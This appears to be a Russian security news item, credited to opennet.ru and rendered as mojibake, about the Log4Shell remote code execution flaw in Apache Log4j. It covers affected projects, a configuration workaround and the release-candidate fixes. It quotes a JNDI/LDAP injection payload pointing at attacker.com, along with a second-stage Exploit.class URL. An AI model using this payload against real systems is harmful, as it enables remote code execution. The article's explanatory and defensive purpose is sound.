เบ„เบงเบฒเบกเบชเปˆเบฝเบ‡เป„เบžเบžเบดเบšเบฑเบ”เปƒเบ™ Apache Log4j เบกเบตเบœเบปเบ™เบเบฐเบ—เบปเบšเบ•เปเปˆเป‚เบ„เบ‡เบเบฒเบ™ Java เบซเบผเบฒเบเบขเปˆเบฒเบ‡

ะ’ Apache Log4j, ะฟะพะฟัƒะปัั€ะฝะพะผ ั„ั€ะตะนะผะฒะพั€ะบะต ะดะปั ะพั€ะณะฐะฝะธะทะฐั†ะธะธ ะฒะตะดะตะฝะธั ะปะพะณะพะฒ ะฒ Java-ะฟั€ะธะปะพะถะตะฝะธัั…, ะฒั‹ัะฒะปะตะฝะฐ ะบั€ะธั‚ะธั‡ะตัะบะฐั ัƒัะทะฒะธะผะพัั‚ัŒ, ะฟะพะทะฒะพะปััŽั‰ะฐั ะฒั‹ะฟะพะปะฝะธั‚ัŒ ะฟั€ะพะธะทะฒะพะปัŒะฝั‹ะน ะบะพะด ะฟั€ะธ ะทะฐะฟะธัะธ ะฒ ะปะพะณ ัะฟะตั†ะธะฐะปัŒะฝะพ ะพั„ะพั€ะผะปะตะฝะฝะพะณะพ ะทะฝะฐั‡ะตะฝะธั ะฒ ั„ะพั€ะผะฐั‚ะต ยซ{jndi:URL}ยป. ะั‚ะฐะบะฐ ะผะพะถะตั‚ ะฑั‹ั‚ัŒ ะฟั€ะพะฒะตะดะตะฝะฐ ะฝะฐ Java-ะฟั€ะธะปะพะถะตะฝะธั, ะทะฐะฟะธัั‹ะฒะฐัŽั‰ะธะต ะฒ ะปะพะณ ะทะฝะฐั‡ะตะฝะธั, ะฟะพะปัƒั‡ะตะฝะฝั‹ะต ะธะท ะฒะฝะตัˆะฝะธั… ะธัั‚ะพั‡ะฝะธะบะพะฒ, ะฝะฐะฟั€ะธะผะตั€, ะฟั€ะธ ะฒั‹ะฒะพะดะต ะฟั€ะพะฑะปะตะผะฝั‹ั… ะทะฝะฐั‡ะตะฝะธะน ะฒ ัะพะพะฑั‰ะตะฝะธัั… ะพะฑ ะพัˆะธะฑะบะฐั….

ะžั‚ะผะตั‡ะฐะตั‚ัั, ั‡ั‚ะพ ะฟั€ะพะฑะปะตะผะต ะฟะพะดะฒะตั€ะถะตะฝั‹ ะฟะพั‡ั‚ะธ ะฒัะต ะฟั€ะพะตะบั‚ั‹, ะธัะฟะพะปัŒะทัƒัŽั‰ะธะต ั‚ะฐะบะธะต ั„ั€ะตะนะผะฒะพั€ะบะธ, ะบะฐะบ Apache Struts, Apache Solr, Apache Druid ะธะปะธ Apache Flink, ะฒะบะปัŽั‡ะฐั Steam, Apple iCloud, ะบะปะธะตะฝั‚ั‹ ะธ ัะตั€ะฒะตั€ั‹ ะธะณั€ั‹ Minecraft. ะžะถะธะดะฐะตั‚ัั, ั‡ั‚ะพ ัƒัะฒะทะธะผะพัั‚ัŒ ะผะพะถะตั‚ ะฟั€ะธะฒะตัั‚ะธ ะบ ะฒะพะปะฝะต ะผะฐััะพะฒั‹ั… ะฐั‚ะฐะบ ะฝะฐ ะบะพั€ะฟะพั€ะฐั‚ะธะฒะฝั‹ะต ะฟั€ะธะปะพะถะตะฝะธั, ะฟะพะฒั‚ะพั€ะธะฒ ะธัั‚ะพั€ะธัŽ ะบั€ะธั‚ะธั‡ะตัะบะธั… ัƒัะทะฒะธะผะพัั‚ะตะน ะฒะพ ั„ั€ะตะนะผะฒะพั€ะบะต Apache Struts, ะบะพั‚ะพั€ั‹ะน ะฟะพ ะฟั€ะธะฑะปะธะทะธั‚ะตะปัŒะฝะพะน ะพั†ะตะฝะบะต ะฟั€ะธะผะตะฝัะตั‚ัั ะฒ web-ะฟั€ะธะปะพะถะตะฝะธัั… 65% ะบะพะผะฟะฐะฝะธะน ะธะท ัะฟะธัะบะฐ Fortune 100. ะ’ ั‚ะพะผ ั‡ะธัะปะต ัƒะถะต ะทะฐั„ะธะบัะธั€ะพะฒะฐะฝั‹ ะฟะพะฟั‹ั‚ะบะธ ัะบะฐะฝะธั€ะพะฒะฐะฝะธั ัะตั‚ะธ ะฝะฐ ะฟั€ะตะดะผะตั‚ ัƒัะทะฒะธะผั‹ั… ัะธัั‚ะตะผ.

ะŸั€ะพะฑะปะตะผะฐ ัƒััƒะณัƒะฑะปัะตั‚ัั ั‚ะตะผ, ั‡ั‚ะพ ัƒะถะต ะพะฟัƒะฑะปะธะบะพะฒะฐะฝ ั€ะฐะฑะพั‡ะธะน ัะบัะฟะปะพะธั‚, ะฝะพ ะธัะฟั€ะฐะฒะปะตะฝะธั ะดะปั ัั‚ะฐะฑะธะปัŒะฝั‹ั… ะฒะตั‚ะพะบ ะฝะฐ ะดะฐะฝะฝั‹ะน ะผะพะผะตะฝั‚ ะฝะต ัั„ั€ะพะผะธั€ะพะฒะฐะฝั‹. ะกVE-ะธะดะตะฝั‚ะธั„ะธะบะฐั‚ะพั€ ะฟะพะบะฐ ะฝะต ะฟั€ะธัะฒะพะตะฝ. ะ˜ัะฟั€ะฐะฒะปะตะฝะธะต ะฒะบะปัŽั‡ะตะฝะพ ั‚ะพะปัŒะบะพ ะฒ ั‚ะตัั‚ะพะฒัƒัŽ ะฒะตั‚ะบัƒ log4j-2.15.0-rc1. ะ’ ะบะฐั‡ะตัั‚ะฒะต ะพะฑั…ะพะดะฝะพะณะพ ะฟัƒั‚ะธ ะฑะปะพะบะธั€ะพะฒะฐะฝะธั ัƒัะทะฒะธะผะพัั‚ะธ ั€ะตะบะพะผะตะฝะดัƒะตั‚ัั ะฒั‹ัั‚ะฐะฒะธั‚ัŒ ะฟะฐั€ะฐะผะตั‚ั€ log4j2.formatMsgNoLookups ะฒ ะทะฝะฐั‡ะตะฝะธะต true.

ะŸั€ะพะฑะปะตะผะฐ ะฑั‹ะปะฐ ะฒั‹ะทะฒะฐะฝะฐ ั‚ะตะผ, ั‡ั‚ะพ log4j ะฟะพะดะดะตั€ะถะธะฒะฐะตั‚ ะพะฑั€ะฐะฑะพั‚ะบัƒ ัะฟะตั†ะธะฐะปัŒะฝั‹ั… ะผะฐัะพะบ ยซ{}ยป ะฒ ะฒั‹ะฒะพะดะธะผั‹ั… ะฒ ะปะพะณ ัั‚ั€ะพะบะฐั…, ะฒ ะบะพั‚ะพั€ั‹ั… ะผะพะณะปะธ ะฒั‹ะฟะพะปะฝัั‚ัŒัั ะทะฐะฟั€ะพัั‹ JNDI (Java Naming and Directory Interface). ะั‚ะฐะบะฐ ัะฒะพะดะธั‚ัั ะบ ะฟะตั€ะตะดะฐั‡ะต ัั‚ั€ะพะบะธ ั ะฟะพะดัั‚ะฐะฝะพะฒะบะพะน ยซ${jndi:ldap://attacker.com/a}ยป, ะฟั€ะธ ะพะฑั€ะฐะฑะพั‚ะบะต ะบะพั‚ะพั€ะพะน log4j ะพั‚ะฟั€ะฐะฒะธั‚ ะฝะฐ ัะตั€ะฒะตั€ attacker.com LDAP-ะทะฐะฟั€ะพั ะฟัƒั‚ะธ ะบ Java-ะบะปะฐัััƒ. ะ’ะพะทะฒั€ะฐั‰ั‘ะฝะฝั‹ะน ัะตั€ะฒะตั€ะพะผ ะฐั‚ะฐะบัƒัŽั‰ะตะณะพ ะฟัƒั‚ัŒ (ะฝะฐะฟั€ะธะผะตั€, http://second-stage.attacker.com/Exploit.class) ะฑัƒะดะตั‚ ะทะฐะณั€ัƒะถะตะฝ ะธ ะฒั‹ะฟะพะปะฝะตะฝ ะฒ ะบะพะฝั‚ะตะบัั‚ะต ั‚ะตะบัƒั‰ะตะณะพ ะฟั€ะพั†ะตััะฐ, ั‡ั‚ะพ ะฟะพะทะฒะพะปัะตั‚ ะฐั‚ะฐะบัƒัŽั‰ะตะผัƒ ะดะพะฑะธั‚ัŒัั ะฒั‹ะฟะพะปะฝะตะฝะธั ะฟั€ะพะธะทะฒะพะปัŒะฝะพะณะพ ะบะพะดะฐ ะฒ ัะธัั‚ะตะผะต ั ะฟั€ะฐะฒะฐะผะธ ั‚ะตะบัƒั‰ะตะณะพ ะฟั€ะธะปะพะถะตะฝะธั.

ะ”ะพะฟะพะปะฝะตะฝะธะต 1: ะฃัะทะฒะธะผะพัั‚ะธ ะฟั€ะธัะฒะพะตะฝ ะธะดะตะฝั‚ะธั„ะธะบะฐั‚ะพั€ CVE-2021-44228.

ะ”ะพะฟะพะปะฝะตะฝะธะต 2: ะ’ั‹ัะฒะปะตะฝ ัะฟะพัะพะฑ ะพะฑั…ะพะดะฐ ะทะฐั‰ะธั‚ั‹, ะดะพะฑะฐะฒะปะตะฝะฝะพะน ะฒั‹ะฟัƒัะบ log4j-2.15.0-rc1. ะŸั€ะตะดะปะพะถะตะฝะพ ะฝะพะฒะพะต ะพะฑะฝะพะฒะปะตะฝะธะต log4j-2.15.0-rc2 ั ะฑะพะปะตะต ะฟะพะปะฝะพะน ะทะฐั‰ะธั‚ะพะน ะพั‚ ัƒัะทะฒะธะผะพัั‚ะธ. ะ’ ะบะพะดะต ะฒั‹ะดะตะปัะตั‚ัั ะธะทะผะตะฝะตะฝะธะต, ัะฒัะทะฐะฝะฝะพะต ั ะพั‚ััƒั‚ัั‚ะฒะธะตะผ ะฐะฒะฐั€ะธะนะฝะพะณะพ ะทะฐะฒะตั€ัˆะตะฝะธั ะฒ ัะปัƒั‡ะฐะต ะธัะฟะพะปัŒะทะพะฒะฐะฝะธั ะฝะตะบะพั€ั€ะตะบั‚ะฝะพ ะพั„ะพั€ะผะปะตะฝะฝะพะณะพ JNDI URL.

เปเบซเบผเปˆเบ‡เบ‚เปเป‰เบกเบนเบ™: opennet.ru

เป€เบžเบตเปˆเบกเบ„เบงเบฒเบกเบ„เบดเบ”เป€เบซเบฑเบ™